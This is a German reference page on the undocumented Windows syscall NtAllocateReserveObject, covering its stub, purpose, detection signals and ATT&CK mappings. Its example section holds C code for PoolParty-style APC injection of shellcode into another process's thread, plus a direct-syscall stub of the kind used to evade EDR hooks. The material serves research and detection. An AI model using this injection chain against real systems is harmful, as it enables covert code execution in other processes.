NtAllocateReserveObject

Prototyp

NTSTATUS NtAllocateReserveObject(
  PHANDLE             Handle,
  POBJECT_ATTRIBUTES  ObjectAttributes,
  MEMORY_RESERVE_TYPE Type
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 74 00 00 00      mov eax, 0x74      ; Win11 24H2 SSN
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

Liefert ein Handle auf ein `KAPC_RESERVE_OBJECT` (Type=0) oder `IO_COMPLETION_RESERVE` (Type=1) zurück. Sinn der Sache: Das Allokieren eines `KAPC` (oder eines `IO_COMPLETION_PACKET`) im Moment, in dem ein APC eingereiht werden muss, kann fehlschlagen, wenn der Pool erschöpft ist — was den Aufrufer sonst zur Wahl zwischen APC-Verwerfen oder Crash zwingen würde. Reserve-Objects verschieben diese Allokation auf einen Zeitpunkt, an dem Fehlschläge erholbar sind; der eigentliche `NtQueueApcThreadEx`/`NtSetIoCompletionEx`-Aufruf nutzt dann das vorallokierte Objekt über die dedizierten `*Ex`-Pfade, die ein Reserve-Handle als ersten Parameter akzeptieren. Von Microsoft nur für `IO_COMPLETION` (über die `CreateIoCompletionEx`-Familie) dokumentiert; die APC-Reserve-Variante ist undokumentiert, wird intern aber breit eingesetzt und ist build-übergreifend sehr stabil — die SSN hat sich zwischen Win10 1909 und Win11 24H2 nur einmal verschoben.

Häufige Malware-Nutzung

PoolParty-Forschung (SafeBreach Labs, Black Hat EU 2023) hat den offensiven Einsatz produktreif gemacht. **PoolParty Variant 6 — „APC via Reserve Object"** verkettet: `NtAllocateReserveObject(MemoryReserveUserApc)` → Handle mit `NtDuplicateObject` in den Zielprozess duplizieren → `NtQueueApcThreadEx2` gegen einen Worker-Thread im Ziel, wobei das duplizierte Reserve-Handle als erstes Argument übergeben wird, damit der Kernel den vorallokierten KAPC wiederverwendet, statt neu zu allokieren. Vorteil gegenüber klassischer `QueueUserAPC`-Injection: Es gibt kein Fehlschlagfenster, in dem die APC-Allokation durch ETW-Threat-Intelligence-Callbacks oder Pool-Protection-Treiber verweigert werden könnte — das Objekt existiert bereits und ist an den richtigen Thread gebunden. Mehrere Red-Team-Frameworks haben die Technik seither übernommen.

Erkennungs­möglichkeiten

`NtAllocateReserveObject` ist in normalen User-Mode-Call-Traces äußerst selten — das OS selbst nutzt es sparsam in `kernel32!CreateThreadpoolIoEx` und einigen RPC-Pfaden. ETW Microsoft-Windows-Kernel-Process bringt das nicht an die Oberfläche, aber die *Folge-Primitive* schon: Ein duplicated Handle der Klasse `ReserveObject`, das via `NtDuplicateObject` prozessübergreifend auftaucht (Sysmon-Event 10 mit `GrantedAccess` und Handle-Type-Spalte), oder ein `QueueUserAPC2`/`NtQueueApcThreadEx2`-Aufruf, dessen erster Parameter ein fremdes Reserve-Handle ist, ist die hochgradig zuverlässige Signatur. EDRs, die nur das alte `NtQueueApcThread` hooken, verpassen diesen Pfad komplett.

Direkte Syscall-Beispiele

// Step 1: pre-allocate the KAPC reserve in our own process.
HANDLE hReserve = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
NTSTATUS st = NtAllocateReserveObject(&hReserve, &oa,
                                      0 /* MemoryReserveUserApc */);
if (!NT_SUCCESS(st)) return st;

// Step 2: open the victim worker thread and duplicate the reserve handle in.
HANDLE hTargetProc   = /* OpenProcess on the chosen target  */;
HANDLE hTargetThread = /* an existing thread inside target */;
HANDLE hRemoteReserve = NULL;
st = NtDuplicateObject(NtCurrentProcess(), hReserve,
                       hTargetProc,       &hRemoteReserve,
                       0, 0, DUPLICATE_SAME_ACCESS);
if (!NT_SUCCESS(st)) return st;

// Step 3: queue our APC using the pre-allocated KAPC. NtQueueApcThreadEx2 lets us
// pin the APC to the special user-APC slot, which fires even on alertable-less threads.
st = NtQueueApcThreadEx2(hTargetThread,
                         hRemoteReserve,           // reuse our reserve
                         QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,
                         (PPS_APC_ROUTINE)pShellcodeInTarget,
                         NULL, NULL, NULL);

; NtAllocateReserveObject direct syscall (Win11 24H2 SSN 0x74)
NtAllocateReserveObject PROC
    mov  r10, rcx
    mov  eax, 74h
    syscall
    ret
NtAllocateReserveObject ENDP

// Cargo: windows-sys = "0.59"
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::System::LibraryLoader::*;

type AllocReserveFn = unsafe extern "system" fn(
    *mut HANDLE, *const u8 /*POBJECT_ATTRIBUTES*/, u32 /*MEMORY_RESERVE_TYPE*/,
) -> i32;

unsafe fn reserve_iocp_packet() -> HANDLE {
    let nt = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
    let f: AllocReserveFn = std::mem::transmute(
        GetProcAddress(nt, b"NtAllocateReserveObject\0".as_ptr()).unwrap()
    );
    let oa: [u8; 48] = [0; 48]; // OBJECT_ATTRIBUTES { Length=48, all-zero }
    let mut h: HANDLE = std::ptr::null_mut();
    let _ = f(&mut h, oa.as_ptr(), 1 /* MemoryReserveIoCompletion */);
    h
}

MITRE ATT&CK-Mappings

• T1055.004Process Injection: Asynchronous Procedure Callmitre ↗
• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗